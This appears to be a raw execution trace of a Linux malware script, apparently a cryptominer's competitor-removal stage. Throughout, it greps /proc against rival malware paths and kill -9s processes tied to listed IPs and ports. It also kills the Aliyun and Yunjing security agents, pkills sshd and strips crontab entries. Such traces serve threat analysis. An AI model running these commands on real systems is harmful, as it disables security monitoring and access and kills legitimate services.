[ls -latrh /proc/keys]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kmsg]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kpagecgroup]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kpagecount]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kpageflags]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/loadavg]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/locks]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/meminfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/misc]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/modules]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/mounts]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/net]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/pagetypeinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/partitions]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/sched_debug]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/schedstat]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/self]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/slabinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/softirqs]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/stat]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/swaps]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/sys]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/sysrq-trigger]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/sysvipc]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/thread-self]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/timer_list]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/tty]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/uptime]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/version]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/vmallocinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/vmstat]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/zoneinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep -v grep]

/bin/grep

[grep /dot]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/pkill

[pkill -f hezb]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep tracepath]

/bin/ps

[ps aux]

/usr/bin/pkill

[pkill -f /tmp/.out]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep ./ll1]

/bin/ps

[ps aux]

/bin/grep

[grep -i [a]liyun]

/bin/ps

[ps aux]

/bin/grep

[grep -i [y]unjing]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep php-fpm pool www]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep Cli start accept]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep bash -k]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v grep]

/bin/grep

[grep perfctl]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 185.71.65.238]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 140.82.52.87]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep -v -]

/bin/grep

[grep 207.38.87.6]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 23.94.214.119]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 34.81.218.76:9486]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 42.112.28.216:9486]

/usr/bin/pkill

[pkill -f .git/kthreaddw]

/usr/bin/awk

[awk {if($3>80.0) print $2}]

/bin/grep

[grep -v grep]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep agetty]

/bin/ps

[ps aux]

/usr/bin/pkill

[pkill -f 42.112.28.216]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /192.81.212.13/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /base64/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /python/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /shm/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /postgresql/d]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /cloudfronts/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /sshd/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /linux/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /neoogilvy/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /rsync/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /bpdeliver/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /perfcc/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/pkill

[pkill -f sshd]

/usr/bin/pkill

[pkill -f htop]

/usr/bin/pkill

[pkill -f linuxsys]

/usr/bin/pkill

[pkill -f kthreaddo]

/usr/bin/pkill

[pkill -f donkey]

/usr/bin/pkill

[pkill -f sysupdater]

/usr/bin/pkill

[pkill -f php-update.service]

/usr/bin/pkill

[pkill -f update-setup]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :1414]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 127.0.0.1:52018]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk {print $7}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep :143]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :2222]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :3333]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep :3389]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep :4444]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :5555]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

